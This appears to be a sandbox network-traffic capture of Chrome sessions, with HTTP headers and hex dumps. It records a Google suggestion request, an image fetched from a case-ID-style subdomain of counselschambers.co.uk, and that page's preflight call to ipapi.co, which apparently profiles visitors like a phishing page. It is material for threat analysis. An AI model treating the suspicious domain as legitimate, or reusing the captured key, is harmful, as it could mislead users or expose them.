2025-03-14 09:08:33 UTC	587	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJOhywEInP7MAQiFoM0BCMnRzgEIvtXOAQiB1s4BCMjczgEIiuDOAQiu5M4BCIvlzgE= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:33 UTC	1303	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:33 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-aRokrrU-cHkD_aNtajSPBQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-14 09:08:33 UTC	87	IN	Data Raw: 66 36 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6d 6f 72 74 67 61 67 65 20 72 61 74 65 73 20 74 6f 64 61 79 22 2c 22 62 65 6e 67 61 6c 73 20 74 72 65 79 20 68 65 6e 64 72 69 63 6b 73 6f 6e 22 2c 22 69 6e 76 69 6e 63 69 62 6c 65 20 73 65 61 73 6f 6e 20 34 20 72 Data Ascii: f6c)]}'["",["mortgage rates today","bengals trey hendrickson","invincible season 4 r
2025-03-14 09:08:33 UTC	1390	IN	Data Raw: 65 6c 65 61 73 65 20 64 61 74 65 22 2c 22 67 74 61 20 36 20 72 6f 63 6b 73 74 61 72 20 67 61 6d 65 73 22 2c 22 77 65 61 74 68 65 72 20 73 74 6f 72 6d 73 20 61 6e 64 20 74 6f 72 6e 61 64 6f 65 73 22 2c 22 73 6e 61 70 63 68 61 74 20 64 6f 77 6e 20 74 77 69 74 74 65 72 22 2c 22 63 6d 63 20 63 6c 61 72 65 6d 6f 6e 74 20 6d 63 6b 65 6e 6e 61 22 2c 22 72 61 69 6e 62 6f 77 20 73 69 78 20 73 69 65 67 65 20 78 20 63 6c 6f 73 65 64 20 62 65 74 61 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 6f 49 6b 6b 34 53 Data Ascii: elease date","gta 6 rockstar games","weather storms and tornadoes","snapchat down twitter","cmc claremont mckenna","rainbow six siege x closed beta"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChoIkk4S
2025-03-14 09:08:33 UTC	1390	IN	Data Raw: 4e 46 70 7a 61 47 78 34 4b 32 74 72 4f 57 4d 78 55 47 52 4b 63 44 52 4d 5a 45 78 58 63 45 70 30 63 6b 6c 59 4b 7a 41 35 63 7a 49 78 63 33 4e 69 56 7a 68 4e 59 6b 77 72 64 56 4e 52 59 32 4a 49 4e 57 31 79 52 48 4e 53 61 55 5a 75 53 6e 56 58 64 31 4a 54 61 32 4e 4f 4d 6d 70 4c 63 46 42 74 51 30 49 35 62 45 5a 6b 5a 55 73 78 4d 48 55 35 64 6b 70 69 62 56 4a 31 53 31 68 71 53 54 51 77 57 6d 78 58 56 44 42 35 52 47 64 71 4e 31 5a 6d 5a 47 34 35 63 32 6b 32 65 48 46 73 65 45 52 49 64 32 39 6a 53 33 68 34 4d 55 39 47 65 44 6c 6f 56 32 46 77 55 47 52 6e 57 6e 46 68 62 48 52 36 65 47 63 7a 5a 45 5a 47 52 6c 5a 49 54 30 4e 70 61 58 56 32 5a 6a 4d 78 63 48 41 78 63 54 6b 78 63 55 5a 36 52 47 4a 58 4e 6d 5a 74 62 47 31 6a 53 32 38 72 57 6d 39 42 4e 54 4e 6a 51 7a 4e Data Ascii: NFpzaGx4K2trOWMxUGRKcDRMZExXcEp0cklYKzA5czIxc3NiVzhNYkwrdVNRY2JINW1yRHNSaUZuSnVXd1JTa2NOMmpLcFBtQ0I5bEZkZUsxMHU5dkpibVJ1S1hqSTQwWmxXVDB5RGdqN1ZmZG45c2k2eHFseERId29jS3h4MU9GeDloV2FwUGRnWnFhbHR6eGczZEZGRlZIT0NpaXV2ZjMxcHAxcTkxcUZ6RGJXNmZtbG1jS28rWm9BNTNjQzN
2025-03-14 09:08:33 UTC	1088	IN	Data Raw: 42 66 54 55 74 57 57 57 39 4c 56 58 46 30 56 6b 31 6f 53 58 70 56 63 33 42 35 61 33 70 50 54 48 4d 33 55 45 46 33 52 44 4a 55 64 7a 45 74 63 41 5a 77 42 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 67 6f 6f 67 6c 65 3a 65 6e 74 69 74 79 69 6e 66 6f 22 3a 22 43 67 6b 76 62 53 38 77 4d 32 68 6b 65 6a 67 53 53 30 4e 73 59 58 4a 6c 62 57 39 75 64 43 42 4e 59 30 74 6c 62 6d 35 68 49 45 4e 76 62 47 78 6c 5a 32 55 67 34 6f 43 55 49 45 78 70 59 6d 56 79 59 57 77 67 59 58 4a 30 63 79 42 6a 62 32 78 73 5a 57 64 6c 49 47 6c 75 49 45 4e 73 59 58 4a 6c 62 57 39 75 64 43 77 Data Ascii: BfTUtWWW9LVXF0Vk1oSXpVc3B5a3pPTHM3UEF3RDJUdzEtcAZwBw\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgkvbS8wM2hkejgSS0NsYXJlbW9udCBNY0tlbm5hIENvbGxlZ2Ug4oCUIExpYmVyYWwgYXJ0cyBjb2xsZWdlIGluIENsYXJlbW9udCw
2025-03-14 09:08:33 UTC	89	IN	Data Raw: 35 33 0d 0a 73 77 62 48 52 71 59 31 49 33 55 47 78 30 62 6d 4a 78 4e 47 74 4a 56 56 6c 4c 59 56 46 77 51 6a 52 4a 55 57 4e 73 56 6b 39 72 4e 6c 49 30 63 30 52 75 53 54 46 70 55 6b 77 78 52 31 56 68 59 56 68 36 62 31 5a 71 4e 58 49 35 4e 58 70 33 52 56 5a 75 4f 0d 0a Data Ascii: 53swbHRqY1I3UGx0bmJxNGtJVVlLYVFwQjRJUWNsVk9rNlI0c0RuSTFpUkwxR1VhYVh6b1ZqNXI5NXp3RVZuO
2025-03-14 09:08:33 UTC	1390	IN	Data Raw: 36 66 63 0d 0a 48 64 51 4d 6e 4a 48 55 47 39 35 4d 32 74 72 57 46 5a 48 64 47 6b 32 4f 48 4e 79 5a 45 46 71 4c 32 78 58 54 47 4a 33 65 46 64 35 4e 33 68 58 4d 45 78 52 56 32 78 75 59 6b 78 49 53 30 6c 36 4d 6b 6c 56 56 56 42 4a 65 6d 68 6e 51 6e 64 57 5a 33 56 48 53 55 68 4d 65 48 4a 77 56 46 42 4f 52 6e 52 59 63 6b 31 56 56 6d 78 46 4f 45 35 30 53 58 4e 78 54 6d 4e 43 5a 54 41 31 61 6a 68 74 65 6b 68 49 54 44 42 55 61 6e 68 33 51 6a 51 34 52 6b 70 58 4d 30 64 32 56 31 5a 73 5a 31 5a 59 4e 58 4a 30 4e 53 39 61 56 32 5a 36 53 44 42 77 4e 58 4a 30 4e 53 39 61 56 32 5a 36 53 44 42 78 65 44 52 5a 63 46 6c 4d 63 55 64 59 63 6c 56 6b 65 6b 68 61 65 55 5a 42 65 44 46 68 4e 55 46 59 53 54 42 75 51 55 39 72 5a 7a 59 78 51 54 52 6f 64 45 46 49 52 45 70 4a 4d 46 49 Data Ascii: 6fcHdQMnJHUG95M2trWFZHdGk2OHNyZEFqL2xXTGJ3eFd5N3hXMExRV2xuYkxIS0l6MklVVVBJemhnQndWZ3VHSUhMeHJwVFBORnRYck1VVmxFOE50SXNxTmNCZTA1ajhtekhITDBUanh3QjQ4RkpXM0d2V1ZsZ1ZYNXJ0NS9aV2Z6SDBwNXJ0NS9aV2Z6SDBxeDRZcFlMcUdYclVkekhaeUZBeDFhNUFYSTBuQU9rZzYxQTRodEFIREpJMFI
2025-03-14 09:08:33 UTC	405	IN	Data Raw: 64 77 47 51 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 65 76 65 6e 74 69 64 22 3a 22 35 38 31 36 33 37 31 39 32 38 38 38 39 33 31 34 37 34 36 22 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 73 75 62 74 79 70 65 73 22 3a 5b 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c Data Ascii: dwGQ\u003d\u003d","zl":10002},{"zl":10002}],"google:suggesteventid":"5816371928889314746","google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,
2025-03-14 09:08:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49747	172.67.168.191	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:34 UTC	469	OUT	GET /190947209_1002880900116912_4375102209501448340_n-8956b37a.jpg HTTP/1.1 Host: case-id-1000228259003.counselschambers.co.uk Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:34 UTC	945	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:34 GMT Content-Type: image/jpeg Content-Length: 32608 Connection: close Last-Modified: Sun, 09 Feb 2025 14:24:06 GMT ETag: "7f60-62db65825aadf" Cache-Control: max-age=14400 CF-Cache-Status: REVALIDATED Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=beA1bVDOl4mbv8z6N03FRmc%2B7PZWIi%2F%2Bek%2Bhe1gRjikFP6WcJkHHftV6wCIlb2x7gAm7Tjo0HgQfLaRAsSYzqLY1mx4xAFv2rr1eeKAgcOpN3WGD1IS5dWvTsRCrGgjfA2pevqoknzJUFgX8Q0OTg%2BtseqbH253RFQiWDuv7rQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9202a090dc3158af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2058&min_rtt=2054&rtt_var=779&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2855&recv_bytes=1041&delivery_rate=1396461&cwnd=102&unsent_bytes=0&cid=81c07f1e9ef42dc0&ts=470&x=0"
2025-03-14 09:08:34 UTC	424	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff ed 00 84 50 68 6f 74 6f 73 68 6f 70 20 33 2e 30 00 38 42 49 4d 04 04 00 00 00 00 00 67 1c 02 28 00 62 46 42 4d 44 30 31 30 30 30 61 38 63 30 31 30 30 30 30 33 66 31 35 30 30 30 30 39 62 32 34 30 30 30 30 33 63 32 61 30 30 30 30 31 38 33 31 30 30 30 30 34 64 33 64 30 30 30 30 30 35 34 66 30 30 30 30 39 62 35 37 30 30 30 30 31 30 35 64 30 30 30 30 38 34 36 33 30 30 30 30 36 30 37 66 30 30 30 30 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 Data Ascii: JFIFPhotoshop 3.08BIMg(bFBMD01000a8c0100003f1500009b2400003c2a0000183100004d3d0000054f00009b570000105d000084630000607f0000C $.' ",#(7),01444'9=82<.342C2!!2222222222222
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 8f df 25 56 c3 df 2e 28 63 2f 36 2d 66 3e b6 de 6a 3c f7 cd c3 53 2f 9e ec 5a fc bc f6 f2 9e 71 59 43 27 9e e4 3c f4 00 00 00 00 00 00 00 00 00 01 19 23 57 11 b9 6a ad 96 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 0f 50 43 28 dd f3 59 0f 48 ec e2 d7 e3 38 dd 8a b7 9d 23 37 91 25 e6 7e 62 3d f0 f4 00 00 00 00 19 4b 03 c5 c9 b5 a8 4b 73 36 81 09 74 0d 2d 8e 72 Data Ascii: <%V.(c/6-f>j<S/ZqYC'<#WjPC(YH8#7%~b=KKs6t-r
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: bc f7 c3 ed 1b 3a 57 79 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 b9 56 71 e7 c6 95 00 00 00 00 00 ea 86 56 88 00 00 ad 36 9f 87 69 2a 56 cb 3f 43 5d af e8 f9 cf a7 f9 f0 d5 cf 00 00 00 00 0e c3 75 a5 dd 60 6a ea 78 2e f7 82 bb 5e 6c f0 cf 46 90 7a 00 04 d0 cd e7 bf 44 1f 37 b3 c3 69 b7 3a 6d 9c db 02 e5 70 00 00 00 00 6e b4 bb fe 1d 7a b1 83 aa 00 0e 5b a9 af c3 be a6 5a 31 50 bd b3 6b f1 36 58 eb 32 f3 db 36 6a db 94 21 f9 27 d2 3e 6f a1 44 2c d7 01 e7 be 1f 73 b1 5e c7 39 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a b6 aa ca 3c f8 d3 a0 00 00 00 00 1d 50 ca d1 00 01 83 ca dc e7 51 ae a9 72 b6 55 a3 a5 73 1d 2f 59 cf 6c e5 52 1f 49 86 00 00 00 00 90 eb 37 5a 7d c6 06 ae a7 82 ef f8 6b 95 d9 e5 9e 8d 38 92 bd f2 24 a2 24 a2 29 bc Data Ascii: :WySVqV6i*V?C]u`jx.^lFzD7i:mpnz[Z1Pk6X26j!'>oD,s^9<PQrUs/YlRI7Z}k8$$)
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: 79 ee 86 bf 5e a4 61 6a 80 00 00 00 00 00 00 e5 ba 9e 5b bf 2e 62 68 66 db cb 09 f8 00 00 61 47 63 52 bf 6a b1 65 8d 7e a0 00 00 17 a8 dd a5 38 84 24 00 00 00 00 00 00 00 00 3d f0 6c fe 85 f2 cd bf 9e fd 2d 5e c6 65 d0 f3 d0 18 43 c2 f7 e5 b3 e6 21 82 fd 49 11 c8 58 8a 3c a5 e6 db b0 f9 e5 ac db bd cb 49 47 3e e7 61 72 2b 7d b9 07 48 00 00 00 00 02 ad aa b2 8f 3e 34 e8 00 00 00 00 07 54 32 b4 40 00 00 18 66 79 0f 93 e1 2f 39 9e 7b bf e0 75 f3 fc 17 2b 80 00 0e 87 9e e8 6b f5 ea 46 16 a8 00 00 00 00 00 00 0e 5b a9 e5 bb f2 e6 26 86 6d bc b0 9f 80 00 36 91 f7 aa e2 7e 85 f3 9c 9b fa 11 63 90 00 00 f7 c1 76 95 da 53 88 42 40 00 00 00 00 00 00 00 00 09 23 1d 0f 7f f2 5e 87 9c bb d6 39 67 5d 6a f5 dc 7d ca d6 35 98 e3 6f 80 47 d0 32 b3 51 ef 99 4f 5a f4 bc a3 Data Ascii: y^aj[.bhfaGcRje~8$=l-^eC!IX<IG>ar+}H>4T2@fy/9{u+kF[&m6~cvSB@#^9g]j}5oG2QOZ
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: 3e 34 e8 00 00 00 00 07 54 32 b4 40 02 3c 33 c2 70 00 00 00 00 00 00 00 00 00 02 bf 3f d4 3b 73 e1 77 db c7 5e 78 e4 55 ee 1e 7a 00 00 00 00 00 01 ef cc fe 99 f2 ee fc a9 0b 7c 00 00 06 78 66 66 f7 d9 c7 0f 72 1e 65 8e 24 d9 55 c4 bb 85 41 3c 58 a3 eb e8 bf 3a ec b8 75 ea c5 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b1 c8 94 42 60 00 ab 6a ac a3 cf 8d 3a 00 00 00 00 01 d5 0c ad 10 00 8f 0c f0 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 72 5d 6a 51 f9 13 a7 e7 b4 2a c2 64 62 00 00 00 00 00 00 07 43 cf 75 7c e5 d9 0a 36 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 63 91 28 84 c0 01 56 d5 59 47 9f 1a 74 00 00 00 00 03 aa 19 5a 20 01 1e 19 e1 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 21 4f 2c 77 32 f1 d9 c2 e7 Data Ascii: >4T2@<3p?;sw^xUz\|xffre$UA<X:u;B`j:r]jQ*dbCu\|6c(VYGtZ 8!O,w2
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: 48 45 61 61 8a 83 0f 74 4f 89 90 ae 4b 7f 19 8f 2d e9 34 77 97 9d e8 a3 24 a5 75 97 6f 89 29 33 19 a8 d3 4d 83 d9 6c ee 6b fa 4c 8f 17 0a 9b 1e f5 fa 4b 98 88 a9 7a 43 92 15 e9 68 b4 5a 22 ce 72 38 42 d2 e2 02 92 4b 43 ed 1c 67 f8 25 df a9 1f 19 54 a2 79 d8 50 53 10 29 fc 14 1d 46 63 2e 47 75 a5 d2 e3 2d 86 04 da 40 62 14 89 0a 2a 1b b8 48 a5 c8 60 ba 62 1e 30 ff 00 a1 13 2e 18 d3 ba 34 ee 8d 3b a3 4e e8 d3 ba 34 ee 89 2c b8 96 38 24 46 a5 32 d9 32 d0 95 20 a3 32 b5 a9 c5 82 2e a8 72 8e 3b 9e 95 56 2f 61 27 c1 41 62 bd 3b a3 4e e8 d3 ba 34 ee 8d 3b a3 4e e8 c3 0f 47 97 81 32 de 3b 0e 3a a2 5a 1e c4 ea f0 89 be 9a 73 2e 2e 9f a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d d1 a7 74 69 dd 1a 77 46 9d Data Ascii: HEaatOK-4w$uo)3MlkLKzChZ"r8BKCg%TyPS)Fc.Gu-@b*H`b0.4;N4,8$F22 2.r;V/a'Ab;N4;NG2;:Zs..tiwFtiwFtiwFtiwFtiwF
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: 96 19 5e 1b b2 3c 1c a9 69 b6 5e e5 27 e7 b1 3e 46 96 09 99 99 8a 5c 95 46 9d b3 59 09 ef b6 f9 fb b6 58 12 cf 15 73 48 f0 3a 75 4f 3b 8a fa bd 1f 48 35 19 a5 b2 b1 1e ee 2f 25 04 2e 6d 01 2e 92 94 da ee 4e dc 8f 07 10 fb f4 d4 d3 83 db 94 9f 9e c5 55 a3 7a 9b e9 05 a3 7a 76 cd 64 27 be da ff 00 93 aa 3c 13 f8 14 ca 96 6f 11 c3 c5 61 67 82 42 9c 35 21 94 e0 95 28 dc 51 30 a0 96 89 26 d9 e0 bd b9 1e 0e 22 ba aa 49 c5 8d ca 4f cf 66 b9 05 a8 ae 45 8c b9 72 29 f4 c6 e0 27 66 b2 13 df 6d 1e e6 e1 fb fe 07 61 4c a8 6a 53 c2 3e e1 df 1b 25 89 ad 16 1a 9d b9 0c a7 02 cf 30 db a6 a5 34 9c 55 b7 23 c1 ca 90 8c c8 fb 94 9f 9e cf f9 27 c2 89 ff 00 6d b5 59 09 ef b4 e1 e0 da 7d 92 7e e7 f8 28 51 a1 c8 d5 45 e7 70 55 f2 0f a8 30 5f c5 49 25 12 92 69 35 3b 72 5a 6c 8c Data Ascii: ^<i^'>F\FYXsH:uO;H5/%.m.NUzzvd'<oagB5!(Q0&"IOfEr)'fmaLjS>%04U#'mY}~(QEpU0_I%i5;rZl
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: ec 43 71 e0 cc 66 d8 2d e7 7d de e3 d2 62 e7 3f bc fd 32 33 e1 ca 2b c9 0a 81 29 23 49 20 c3 74 a9 4b 11 e8 ed 36 64 58 17 14 b6 24 78 38 8a e3 29 29 5a 5e a6 85 25 48 3d b6 63 b8 f9 b1 05 b6 b8 06 76 a4 cf 13 e3 24 8d 4a 8a c1 46 8f f9 45 df ae 47 83 88 ae fc 77 1a 43 a9 7a 9c a4 83 23 49 f5 b4 cb 8f 1b 34 e4 20 76 2e 05 49 dc a8 3c 6c 31 14 96 52 72 ff 00 2c bb f5 c8 f0 71 15 df 92 eb 2d bc 4f 53 96 90 64 64 7e ad b2 e3 a6 cd 39 29 04 44 92 e1 56 9d c5 ce 1d a6 63 28 13 64 2e 49 0a 6c 52 24 fe 59 77 eb 91 e0 e2 2b bf 2d d6 1b 78 9e a7 2d 21 0c 3a b5 33 4d 4a 41 11 24 b8 93 d7 7c ed 94 a6 e1 96 63 2c c6 5a 86 59 8c a3 19 43 2c 85 89 18 a4 86 61 0c c3 06 a3 3f 4a 5a ae a7 fe 59 77 eb 91 e0 e2 2b bf ea 4c 4d b3 36 49 56 8c d3 19 a3 34 66 8c d3 19 8a 17 ab Data Ascii: Cqf-}b?23+)#I tK6dX$x8))Z^%H=cv$JFEGwCz#I4 v.I<l1Rr,q-OSdd~9)DVc(d.IlR$Yw+-x-!:3MJA$\|c,ZYC,a?JZYw+LM6IV4f
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: 88 be 87 dc 1a 75 b8 14 eb a9 f1 4d fe db 84 2c 2a 05 ec a8 5a 81 07 6d 3a 66 5a a9 b3 00 c5 f2 54 35 be 22 4a 73 0b fe 13 db 84 c5 cf e2 75 aa 08 79 ba 87 dc 16 9b ab 70 29 d7 7c 01 e8 35 c5 a9 ae 91 a4 c1 0d 54 8c 85 c6 5c 77 58 7f ee 55 76 b5 dc 6e 7f 13 a6 7b f5 23 ea 9b a8 7d c1 69 42 da dc 0a 75 a1 0d fd 16 bb 09 4c 78 7e da 21 0f 14 d3 1c 1f ba 20 72 7a af 50 7c 5c fe 27 5b a9 6c b6 6e a1 f7 05 c2 da dc 0a 75 ac dd 37 6f 48 12 c3 21 35 c1 c2 45 a4 81 ba 3d 43 7e 11 aa 5c 9b b2 7b f1 76 7d 64 4c f9 37 3f 89 d4 23 b3 86 21 08 f8 b6 87 dc 1a 75 b8 14 eb 5a 21 b2 85 ad d6 63 f2 cf fe 2d fb d4 aa 18 8c bb cb 97 fa 5f ed 74 fd 56 11 0e d9 1e a2 98 13 28 d5 2e d0 7f 13 ad 0b a9 64 3a 6d a1 f7 06 9d 6e 05 3a c6 b7 11 85 5c 43 00 b9 ba f4 aa 60 30 76 ed 52 Data Ascii: uM,*Zm:fZT5"Jsuyp)\|5T\wXUvn{#}iBuLx~! rzP\|\'[lnu7oH!5E=C~\{v}dL7?#!uZ!c-_tV(.d:mn:\C`0vR
2025-03-14 09:08:34 UTC	1369	IN	Data Raw: ec 40 8a 2b c1 5e 0a f0 4e 22 9c 21 22 e0 d0 b4 8b d1 90 b9 63 e5 72 c7 ca e5 8f 94 db 36 79 95 35 99 a2 aa 9c 61 89 c2 30 9c c2 dd fb 10 11 1c 29 c0 04 46 06 75 0d 30 ad 51 df 62 bc 06 4d 5f c6 c2 f7 5a 1a ef 18 a5 7d c6 17 27 bd cf 35 76 95 8a 73 7a e1 c7 3f 4e 01 ba 90 66 a7 81 d1 1f d7 08 2c ee 94 fe 93 5b f4 14 94 25 18 41 d9 18 9c 13 86 b0 28 9e 15 e0 0a 27 03 3a 86 a4 8d be d2 d5 0c 40 bc 30 a8 61 64 2d ba cc 56 bf 84 e9 d9 be 50 9b b6 29 fe b0 8f 70 a2 2d f2 bd 26 78 41 a5 64 dd b0 39 81 db a7 c0 46 da 87 6c 93 64 20 a7 3c 34 54 ae 61 bf 49 92 87 1a 63 67 50 d5 ba da d6 98 ed 7f 09 c5 4c 36 6f 94 26 6d 8a 6c dd 44 ef 18 43 ca be 51 71 38 e4 88 39 39 a5 a6 87 4e 51 47 27 bc be 8d fa 0a a4 e6 9a e0 d5 1b ef 0a e2 67 50 d6 81 d7 a3 07 15 af e1 38 5b Data Ascii: @+^N"!"cr6y5a0)Fu0QbM_Z}'5vsz?Nf,[%A(':@0ad-VP)p-&xAd9Fld <4TaIcgPL6o&mlDCQq899NQG'gP8[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49748	172.67.69.226	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-14 09:08:34 UTC	558	OUT	OPTIONS /ip HTTP/1.1 Host: ipapi.co Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: content-type Origin: https://case-id-1000228259003.counselschambers.co.uk User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://case-id-1000228259003.counselschambers.co.uk/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 09:08:34 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 09:08:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: origin access-control-allow-origin: https://case-id-1000228259003.counselschambers.co.uk access-control-allow-headers: accept, authorization, content-type, user-agent, x-csrftoken, x-requested-with access-control-allow-methods: GET, POST, OPTIONS access-control-max-age: 86400 X-Content-Type-Options: nosniff Referrer-Policy: same-origin Cross-Origin-Opener-Policy: same-origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OZfJwoSDwrn0i3ZXGK057wdbHmjQnBwvO%2B%2Bx44buTofpUpJrppachSfyOzK5MsJ7rVa0leIMYlTdsjWEmVTiSGAER5KOJHwfts2ys58rujWhXyfM414tbkAM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare 